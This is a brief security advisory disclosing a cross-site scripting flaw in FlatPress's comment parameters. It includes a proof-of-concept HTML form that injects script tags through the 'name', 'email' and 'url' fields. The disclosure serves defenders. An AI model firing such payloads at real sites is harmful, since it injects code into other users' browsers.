Cross-site Scripting (XSS) Vulnerability in FlatPress

High-Tech Bridge SA Security Research Lab has discovered vulnerability in FlatPress which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerability in FlatPress
The vulnerability exists due to input sanitation error in the "name", "email" and "url" parameters in index.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action="http://[host]/index.php?x=entry:entry110603-123922;comments:1" method="post">
<input type="hidden" name="name" value='"><script>alert(1);</script>'>
<input type="hidden" name="email" value='"><script>alert(2);</script>'>
<input type="hidden" name="url" value='"><script>alert(3);</script>'>
<input name="send" value="EXPLOIT" type="submit">
</form>